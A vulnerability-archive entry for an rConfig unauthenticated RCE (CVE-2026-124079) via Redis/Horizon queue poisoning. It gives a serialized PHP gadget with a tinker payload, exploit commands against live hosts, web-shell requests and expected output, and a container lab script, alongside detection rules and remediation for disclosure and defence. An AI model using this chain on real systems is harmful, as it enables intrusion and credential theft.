PoC Archive PoC Archive
CVE-2026-124079 category: web CVSS 9.8 (CRITICAL)
Patched

rConfig Core Unauthenticated RCE via Redis / Laravel Horizon Queue Poisoning (CVE-2026-124079)

Published: 2026-11-25 • Researcher: googlesky (PoC repository); credited discovery: komi Sergio Hognaglo (manasse)

Target software rConfig Core and rConfig Pro (Laravel-based network device configuration management)
Affected versions rConfig Core 8.0.0 before 8.2.19; rConfig Pro before 8.4.1. Fixed in Core 8.2.19 (commit 40bd1204, 2026-10-27) and Pro 8.4.1; Core 8.2.18 (commit 98ecb921) only blocks the TaskDownloadRun gadget
Status Weaponized
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-124079
Category
web
Affected product
rConfig Core and rConfig Pro (Laravel-based network device configuration management)
Affected versions
rConfig Core 8.0.0 before 8.2.19; rConfig Pro before 8.4.1. Fixed in Core 8.2.19 (commit 40bd1204, 2026-10-27) and Pro 8.4.1; Core 8.2.18 (commit 98ecb921) only blocks the TaskDownloadRun gadget
Disclosed
2026-11-25
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-11-19
Author / Researchergooglesky (PoC repository); credited discovery: komi Sergio Hognaglo (manasse)
CVE / AdvisoryCVE-2026-124079
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS v3.x, per NVD/worklist; full vector not supplied)
StatusWeaponized
TagsRCE, unauthenticated, deserialization, CWE-502, PHP, Laravel, Redis, Horizon, queue-poisoning, rConfig
RelatedN/A

Affected Target

FieldValue
Software / SystemrConfig Core and rConfig Pro (Laravel-based network device configuration management)
Versions AffectedrConfig Core 8.0.0 before 8.2.19; rConfig Pro before 8.4.1. Fixed in Core 8.2.19 (commit 40bd1204, 2026-10-27) and Pro 8.4.1; Core 8.2.18 (commit 98ecb921) only blocks the TaskDownloadRun gadget
Language / PlatformPHP 8.4 (Laravel 12/13, Laravel Horizon), Redis 7, MariaDB 11, Linux containers; PoC in Python 3 (standard library only)
Authentication RequiredNo when the queue Redis is network-reachable; Partial otherwise (an authenticated device target pointing at the server loopback address)
Network Access RequiredYes (TCP 6379 to the queue Redis, or HTTP to the application)

Summary

rConfig Core 8.0.0 before 8.2.19 and rConfig Pro before 8.4.1 expose a Redis instance that backs the Laravel Horizon job queue without authentication and that is reachable from the network, while the Horizon worker unserializes queued job payloads with no class restriction (CWE-502). An unauthenticated attacker can push a crafted serialized TaskDownloadRun job onto a Horizon-consumed list; that job concatenates attacker-controlled task data into an Artisan call, and the bundled laravel/tinker package converts it into arbitrary PHP and OS command execution as the queue worker. The public PoC implements the full chain, drops a marker file plus a persistent web shell under the web-served storage directory, and proves command execution through a Redis callback. The result is remote code execution with access to database credentials, stored device credentials, and API tokens.

Vulnerability Details

Root Cause

The deployment shipped by upstream exposes the Redis instance backing Laravel Horizon without a password and on a published port (the upstream .env.example ships REDIS_PASSWORD=null together with EXPOSED_REDIS_PORT=7000), and rConfig’s Redis connection sets no key prefix. Anyone able to reach Redis can LPUSH an envelope onto queues:ManualDownloadQueue (the prefix is added by Laravel’s RedisQueue::getQueue()). The Horizon worker pops the envelope and Illuminate\Queue\CallQueuedHandler@call calls unserialize($data['command']) with no allowed_classes restriction, so the attacker chooses both the class and every property of the instantiated object. On 8.2.17 and earlier, the gadget class App\Jobs\TaskDownloadRun has a protected $task property and its handle() runs Artisan::call($this->task['task_command'] . ' ' . $this->task['id']); because task_command is attacker-controlled and laravel/tinker is bundled, tinker --execute=<php> yields arbitrary PHP and therefore OS commands. Core 8.2.18 added an allowlist constant for accepted task commands, which blocks this gadget but leaves the unrestricted deserialization primitive live; 8.2.19 is the real fix (generated Redis password, Redis moved inside the application container and bound to loopback, plus health checks).

Attack Vector

Direct network access to the queue Redis (default TCP 6379): the exploit sends PING, confirms no requirepass, then LPUSH queues:ManualDownloadQueue <json envelope> where the envelope’s data.command is serialize(App\Jobs\TaskDownloadRun) with an attacker-supplied task_command. The same primitive works against any other Horizon-consumed list (queues:TaskDownloadQueue, queues:TaskSnippetQueue), since only the worker matters, not the list name. No HTTP session or application credential is needed. Where Redis is not directly reachable, NVD notes that authenticated attackers can deliver the payload through the application by configuring a device target that points at the rConfig server’s loopback address.

Impact

Remote code execution as the Horizon queue worker user (www-data, observed as uid=1000(www-data) in the upstream evidence). The payload writes a marker file and a live PHP web shell into the web-served storage/app/public directory (reachable at /storage/... through artisan storage:link), sets a Redis key containing the output of id; hostname; uname -sr as a blind-RCE callback, and can read database credentials, stored device credentials, and API tokens. The worker process typically has file-system access to the whole Laravel application, including .env.

Environment / Lab Setup

Output
OS:          Linux x86_64 with Podman >= 4 (containers only, dedicated network cve124079lab)
Target:      rConfig Core core-8.2.17 / core-8.2.18 / core-8.2.19 built from the upstream
             Dockerfiles (PHP 8.4 Apache), MariaDB 11, redis:7-alpine with
             --protected-mode no and no password
Attacker:    Python 3.12 in python:3.12-alpine (standard library only)
Tools:       podman, make, curl, redis-cli
Resources:   ~2 GB free RAM, ~4 GB disk, outbound network for the first image build

Setup Steps

Shell script
1
2
3
4
5
6
7
8
bash run-lab.sh prepare   # build the 3 app images + the PoC image (long, ~10-25 min)

bash run-lab.sh up

bash run-lab.sh poc
bash run-lab.sh capture

bash run-lab.sh down

make prepare | up | poc | capture | down | all are equivalent convenience targets. The lab exposes three variants: rconfig-vuln17 (core-8.2.17, exploitable), rconfig-allow18 (core-8.2.18, gadget blocked but primitive live) and rconfig-fixed19 (core-8.2.19, hardened). lab/prepare-src.sh clones https://github.com/rconfig/rconfig.git into rconfig/ on first run, so the first prepare needs outbound network access.

Proof of Concept

Step-by-Step Reproduction

  1. Prepare and boot the lab — build the three rConfig variants, MariaDB and the two queue Redis instances, then wait until the Horizon supervisors register.

    Shell script
    1
    2
    
    bash run-lab.sh prepare
    bash run-lab.sh up
  2. Classify the queue Redis — confirm the queue Redis accepts commands without authentication (exit code 1 means vulnerable).

    Shell script
    1
    2
    3
    4
    5
    
    make check-vuln17
    # equivalent from the PoC image on the lab network:
    # podman run --rm --network cve124079lab cve-2026-124079-poc:local \
    #   check --redis rconfig-redis17:6379
    # against a live host: python3 poc/poc.py check --redis 10.0.0.5:6379
  3. Run the full chain — push the serialized App\Jobs\TaskDownloadRun job onto the Horizon queue and wait for the worker.

    Shell script
    1
    2
    3
    
    make exploit-vuln17
    # equivalent against a live target:
    # python3 poc/poc.py exploit --redis 10.0.0.5:6379 --app http://10.0.0.5
  4. Verify the three independent effects — the Redis callback key, the marker file served over HTTP, and the dropped web shell.

    Shell script
    1
    2
    3
    
    redis-cli -h <redis-host> GET cve:2026:124079:pwned
    curl http://<app-host>/storage/pwned_marker.txt
    curl "http://<app-host>/storage/rce_cve_2026_124079.php?c=id;hostname"
  5. Confirm the differential — 8.2.18 drains the queue but rejects the gadget (exit code 3), while its primitive still reaches an unpatched job class; 8.2.19 refuses the Redis connection (exit code 2).

    Shell script
    1
    2
    3
    4
    
    make exploit-allow18
    podman run --rm --network cve124079lab cve-2026-124079-poc:local \
      probe --redis rconfig-redis18:6379 --device-id POC-PROBE-9999
    make exploit-fixed19

Exploit Code

See exploit/exploit.py (standalone full-chain entrypoint) and poc/poc.py (check / exploit / probe modes, Python standard library only). The upstream English write-up is in upstream-README.md.

The serialized gadget that is placed in the queue envelope’s data.command field:

Output
1
2
3
4
5
O:24:"App\Jobs\TaskDownloadRun":2:{
  s:7:"\0*\0task"; a:2:{ s:11:"task_command"; s:N:"tinker --execute='<php>'";
                          s:2:"id"; s:0:""; }
  s:21:"\0*\0executionStartTime"; d:1731317200.0;
}

Two implementation details matter: the class name is 24 bytes long, and Symfony’s StringInput (used by Artisan::call($string)) runs the option value through stripcslashes(), so every backslash in the PHP payload must be doubled.

Expected Output

Output
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
[+] PING -> PONG (no authentication required)
[+] CONFIG GET requirepass -> ['requirepass', '']
RESULT: VULNERABLE — unauthenticated Redis backs the Laravel Horizon queue

[+] LPUSH queues:ManualDownloadQueue (1073 bytes) — queue depth 0 -> 1
[+] === RCE CONFIRMED (as the Horizon queue worker user) ===
[+] Redis key cve:2026:124079:pwned:
      uid=1000(www-data) gid=33(www-data) groups=33(www-data)
      db23778a9e93
      Linux 7.3.0-4-cachyos
[+] marker via HTTP /storage/pwned_marker.txt -> PWNED-CVE-2026-124079
[+] web shell output for 'id; hostname':
      PWNED-CVE-2026-124079 uid=1000(www-data) gid=33(www-data) groups=33(www-data)
RESULT: EXPLOIT SUCCESS — CVE-2026-124079 unauthenticated RCE

Screenshots / Evidence

  • evidence/vuln17-marker.txt — marker file dropped on the vulnerable host, with id; hostname; uname -sr output.
  • evidence/vuln17-redis-key.txt — blind-RCE callback value stored in the Redis key cve:2026:124079:pwned.
  • evidence/vuln17-worker-log.txt — Horizon worker log showing App\Jobs\TaskDownloadRun ... RUNNING / DONE.
  • evidence/allow18-allowlist-rejection.txt — 8.2.18 victim log rejecting the crafted task_command.

Additional artefacts in the upstream repository (not copied): fixed19-redis-hardening.txt, vuln17-webshell.php.txt, allow18-primitive-probe.txt.

Detection & Indicators of Compromise

Output
- Unauthenticated PING/PONG and CONFIG GET from hosts that are not the application worker.
- LPUSH / LLEN / DEL against keys under queues:* (ManualDownloadQueue, TaskDownloadQueue,
  TaskSnippetQueue), especially from an unexpected source address.
- Key cve:2026:124079:pwned, or download-now-<device-id> keys, appearing after a queue push.

- Horizon or laravel.log entries for App\Jobs\TaskDownloadRun that the application did not
  dispatch; on 8.2.18 the warning:
  "TaskDownloadRun rejected an unexpected task command."
- Horizon worker log lines TaskDownloadRun RUNNING/DONE lasting only tens of milliseconds.
- Artisan tinker / --execute activity inside the queue worker process.
- Files written into storage/app/public: pwned_marker.txt, rce_cve_2026_124079.php;
  /tmp/poc_redis_err.txt; unexpected requests to /storage/<random>.php in the Apache log.

SIEM / IDS rule (example):

Output
1
2
3
alert tcp any any -> any 6379 (msg:"Possible Laravel Horizon queue poisoning (LPUSH queues:*)"; \
  flow:to_server,established; content:"LPUSH"; nocase; content:"queues:"; nocase; \
  sid:9002611; rev:1;)

Remediation

ActionDetail
PatchUpgrade rConfig Core to 8.2.19 (commit 40bd1204) or later, or rConfig Pro to 8.4.1 or later; rebuild the application containers and restart the Horizon workers.
WorkaroundRequire a Redis password (requirepass) and bind Redis to loopback or an internal-only network, and deny TCP 6379 from untrusted networks. Do not treat the 8.2.18 task-command allowlist as a fix: the unrestricted deserialization primitive remains.
Config HardeningDo not publish EXPOSED_REDIS_PORT; keep Redis on a private container network; run the queue worker with the least privilege and no writable web-served directory; remove any web shell and rotate database, device and API credentials after suspected exploitation; monitor Redis commands and the storage/public directory for unexpected PHP files.

References

Notes

Auto-ingested from https://github.com/googlesky/CVE-2026-124079 on 2026-11-25. License: MIT (Copyright (c) 2026 googlesky); the LICENSE file is included, and the Python entrypoints carry an authorized-research header.

Review verdict: ingested as a real, weaponized full-chain PoC, not a detector. The repository contains actual exploit code that builds the serialized TaskDownloadRun job, pushes it onto the Horizon queue, verifies RCE through a Redis callback, and drops a marker plus a web shell; its check mode is a classification helper, not the primary purpose. It also ships a reproducible A/B/C differential lab (8.2.17 vulnerable, 8.2.18 gadget blocked with the primitive still live, 8.2.19 hardened), which is why the entry is filed as Weaponized.

Limitations and accuracy notes: the chain requires the queue Redis to be network-reachable and unauthenticated, and the queue name must be known (default ManualDownloadQueue, overridable with --queue). The tinker gadget additionally needs a writable PsySH config directory (the lab sets XDG_CONFIG_HOME=/tmp; the stock image runs the worker as www-data with HOME=/var/www, which aborts the payload while the job is still reported as done). File paths (/var/www/html/rconfig/storage/app/public) are hard-coded in the PoC and must be adjusted for other installations. The upstream README’s line stating that the standalone exploit exits 1 on confirmed exploitation is inconsistent with the code and with its own exit-code table: the code returns 0 on exploit success, 2 when Redis is unreachable, 3 when the queue is poisoned but the gadget is blocked, and 4 when the job stays queued; check returns 1 for vulnerable and 0 otherwise. The exploit was not executed during ingestion. Worklist metadata: published 2026-11-09, EPSS 0.00925, not listed in CISA KEV at ingestion time. Run only against systems you own or have written authorization to test.

run-lab.sh
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
#!/usr/bin/env bash
# CVE-2026-124079 lab — build + boot + A/B/C differential PoC (100% containerized).
#
#   vuln17  = rConfig Core 8.2.17  -> CVE-2026-124079 full chain (expect: EXPLOIT SUCCESS)
#   allow18 = rConfig Core 8.2.18  -> allowlist blocks the gadget (expect: GADGET BLOCKED)
#   fixed19 = rConfig Core 8.2.19  -> Redis hardened (expect: NOT VULNERABLE / unreachable)
#
# Usage: run-lab.sh [all|up|down|poc|install]
set -euo pipefail
cd "$(dirname "$0")"

NET=cve124079lab
POC="podman run --rm --network $NET --cpus 2 --memory 4g cve-2026-124079-poc:local"
APPS=(rconfig-vuln17 rconfig-allow18 rconfig-fixed19)

prepare() {
    bash lab/prepare-src.sh
    podman network exists $NET || podman network create $NET
    podman build -q -f lab/Containerfile.vuln17  -t cve-2026-124079:vuln17  lab/src/vuln17
    podman build -q -f lab/Containerfile.allow18 -t cve-2026-124079:allow18 lab/src/allow18
    podman build -q -f lab/Containerfile.fixed19 -t cve-2026-124079:fixed19 lab/src/fixed19
    podman build -q -f poc/Containerfile          -t cve-2026-124079-poc:local poc/
}

up() {
    podman rm -f rconfig-db rconfig-redis17 rconfig-redis18 "${APPS[@]}" \
        >/dev/null 2>&1 || true

    podman run -d --name rconfig-db --network $NET --cpus 2 --memory 4g \
        -e MYSQL_ROOT_PASSWORD=rootpw \
        -e MYSQL_DATABASE=rconfig17 \
        -e MYSQL_USER=rconfig \
        -e MYSQL_PASSWORD=rconfig \
        -v "$(pwd)/lab/db-init:/docker-entrypoint-initdb.d:ro" \
        docker.io/library/mariadb:11 >/dev/null

    echo "[lab] waiting for MariaDB..."
    for _ in $(seq 1 60); do
        podman exec rconfig-db mariadb-admin ping -uroot -prootpw --silent >/dev/null 2>&1 && break
        sleep 2
    done

    # Affected-deployment Redis: no password, reachable on the container network.
    podman run -d --name rconfig-redis17 --network $NET --cpus 2 --memory 4g \
        docker.io/library/redis:7-alpine redis-server --protected-mode no >/dev/null
    podman run -d --name rconfig-redis18 --network $NET --cpus 2 --memory 4g \
        docker.io/library/redis:7-alpine redis-server --protected-mode no >/dev/null

    # upstream docker/entrypoint.sh waits `nc -z $DB_HOST $DB_PORT`, and the
    # supervisord horizon program waits for `redis-cli -h $REDIS_HOST` — both on
    # container env vars (upstream compose passes them); Laravel itself reads .env.
    #
    # XDG_CONFIG_HOME=/tmp gives the queue worker (www-data, HOME=/var/www) a
    # writable PsySH config dir. Without it PsySH raises a notice that Laravel
    # turns into an ErrorException and `tinker --execute=` aborts before running
    # the payload — the gadget needs a worker with a writable HOME (satisfied by
    # upstream's own horizon_supervisor.ini, which runs Horizon as root).
    run_app() { # <variant> <redis-host>
        podman run -d --name rconfig-$1 --network $NET --cpus 2 --memory 4g \
            -e DB_HOST=rconfig-db -e DB_PORT=3306 \
            -e REDIS_HOST=$2 -e REDIS_PORT=6379 \
            -e XDG_CONFIG_HOME=/tmp \
            cve-2026-124079:$1 >/dev/null
    }
    run_app vuln17  rconfig-redis17
    run_app allow18 rconfig-redis18
    run_app fixed19 127.0.0.1

    echo "[lab] containers up; installing (migrations)..."
    for c in "${APPS[@]}"; do
        for _ in $(seq 1 60); do
            podman exec "$c" grep -q 'APP_KEY=base64:' /var/www/html/rconfig/.env \
                >/dev/null 2>&1 && break
            sleep 2
        done
        podman exec "$c" php artisan v8core:install --no-interaction \
            >/dev/null 2>&1 || true
    done

    echo "[lab] waiting for Horizon supervisors..."
    for _ in $(seq 1 60); do
        [ -n "$(podman exec rconfig-vuln17 redis-cli -h rconfig-redis17 \
            --scan --pattern 'rConfig*' 2>/dev/null | head -1)" ] && break
        sleep 2
    done
    for _ in $(seq 1 60); do
        [ -n "$(podman exec rconfig-allow18 redis-cli -h rconfig-redis18 \
            --scan --pattern 'rConfig*' 2>/dev/null | head -1)" ] && break
        sleep 2
    done
    PW=$(podman exec rconfig-fixed19 sh -c \
        'grep ^REDIS_PASSWORD= /var/www/html/rconfig/.env | cut -d= -f2')
    for _ in $(seq 1 60); do
        [ -n "$(podman exec rconfig-fixed19 redis-cli -a "$PW" \
            --scan --pattern 'rConfig*' 2>/dev/null | head -1)" ] && break
        sleep 2
    done
    echo "[lab] ready."
}

run_poc() { # <mode> <target> <app> <expect> [extra poc.py args...]
    local mode="$1" target="$2" app="$3" expect="$4"; shift 4
    echo
    echo "=== poc.py $mode -> $target (expect: $expect) ==="
    $POC "$mode" --redis "$target" ${app:+--app "$app"} "$@" 2>&1 || true
}

poc() {
    echo "=== [A] vulnerable 8.2.17 — CVE-2026-124079 full chain ==="
    run_poc check   rconfig-redis17:6379 "" "VULNERABLE"
    run_poc exploit rconfig-redis17:6379 http://rconfig-vuln17 "EXPLOIT SUCCESS"

    echo
    echo "=== [A2] same primitive, another Horizon-consumed queue (TaskDownloadQueue) ==="
    run_poc exploit rconfig-redis17:6379 http://rconfig-vuln17 "EXPLOIT SUCCESS" \
        --queue TaskDownloadQueue

    echo
    echo "=== [B] 8.2.18 — allowlist blocks the gadget, primitive still live ==="
    run_poc check   rconfig-redis18:6379 "" "VULNERABLE"
    run_poc exploit rconfig-redis18:6379 http://rconfig-allow18 "GADGET BLOCKED"
    echo "--- allowlist rejection evidence (victim log) ---"
    podman exec rconfig-allow18 sh -c \
        'grep -h "rejected an unexpected task command" /var/www/html/rconfig/storage/logs/laravel-*.log 2>/dev/null | tail -2' || true

    echo
    echo "=== [B2] 8.2.18 — the primitive also reaches job classes the allowlist does not cover ==="
    $POC probe --redis rconfig-redis18:6379 --queue ManualDownloadQueue \
        --device-id POC-PROBE-9999 2>&1 || true

    echo
    echo "=== [C] fixed 8.2.19 — Redis hardened ==="
    run_poc check   rconfig-fixed19:6379 "" "NOT VULNERABLE"
    run_poc exploit rconfig-fixed19:6379 http://rconfig-fixed19 "EXPLOIT FAILED (unreachable)"

    capture_evidence
    return 0
}

capture_evidence() {
    mkdir -p evidence
    podman exec rconfig-vuln17 sh -c \
        'cat /var/www/html/rconfig/storage/app/public/pwned_marker.txt' \
        > evidence/vuln17-marker.txt 2>/dev/null || true
    podman exec rconfig-vuln17 sh -c \
        'cat /var/www/html/rconfig/storage/app/public/rce_cve_2026_124079.php' \
        > evidence/vuln17-webshell.php.txt 2>/dev/null || true
    podman exec rconfig-vuln17 redis-cli -h rconfig-redis17 GET cve:2026:124079:pwned \
        > evidence/vuln17-redis-key.txt 2>/dev/null || true
    {
        echo "# Horizon worker log on the vulnerable host (job consumed + executed)"
        podman exec rconfig-vuln17 sh -c \
            "grep -a 'TaskDownloadRun' /var/www/html/rconfig/storage/logs/horizon.log | tail -4"
        echo
        echo "# laravel.log (job payload / artisan output)"
        podman exec rconfig-vuln17 sh -c \
            "grep -a 'Task command' /var/www/html/rconfig/storage/logs/laravel-*.log | tail -2"
    } > evidence/vuln17-worker-log.txt 2>/dev/null || true
    podman exec rconfig-allow18 sh -c \
        "grep -a 'rejected an unexpected task command' /var/www/html/rconfig/storage/logs/laravel-*.log | tail -2" \
        > evidence/allow18-allowlist-rejection.txt 2>/dev/null || true
    {
        echo "# 8.2.18: the queue-poisoning primitive reaches job classes that the"
        echo "# ALLOWED_TASK_COMMANDS allowlist does not cover."
        echo "# poc.py probe pushed App\\Jobs\\DownloadConfigNowJob(device_id=POC-PROBE-9999);"
        echo "# the worker executed it and wrote this key:"
        podman exec rconfig-redis18 redis-cli GET download-now-POC-PROBE-9999 2>/dev/null || true
    } > evidence/allow18-primitive-probe.txt 2>/dev/null || true
    {
        echo "# rConfig 8.2.19: the queue Redis now lives inside the app container,"
        echo "# bound to loopback and protected by a generated requirepass."
        echo
        echo "\$ redis-cli -h 127.0.0.1 ping        # from inside the app container, no password"
        podman exec rconfig-fixed19 redis-cli -h 127.0.0.1 ping 2>&1 | head -1 || true
        echo
        echo "\$ redis-cli -h 127.0.0.1 -a <generated-password> ping"
        PW=$(podman exec rconfig-fixed19 sh -c \
            'grep -E "^REDIS_PASSWORD=" /var/www/html/rconfig/.env | cut -d= -f2' 2>/dev/null)
        podman exec rconfig-fixed19 redis-cli -h 127.0.0.1 -a "$PW" --no-auth-warning ping 2>&1 | head -1 || true
        echo
        echo "\$ redis-cli -h rconfig-fixed19 ping   # from the lab network -> unreachable"
        podman exec rconfig-fixed19 redis-cli -h rconfig-fixed19 ping 2>&1 | head -1 || true
    } > evidence/fixed19-redis-hardening.txt 2>/dev/null
    echo "[evidence] artefacts written to evidence/"
    return 0
}

down() {
    podman rm -f rconfig-db rconfig-redis17 rconfig-redis18 "${APPS[@]}" \
        >/dev/null 2>&1 || true
    echo "[lab] torn down."
}

case "${1:-all}" in
    prepare) prepare ;;
    up)      up ;;
    poc)     poc ;;
    capture) capture_evidence ;;
    install) prepare; up ;;
    down)    down ;;
    all)     prepare; up; poc ;;
    *)       echo "usage: $0 [all|prepare|up|poc|capture|install|down]"; exit 2 ;;
esac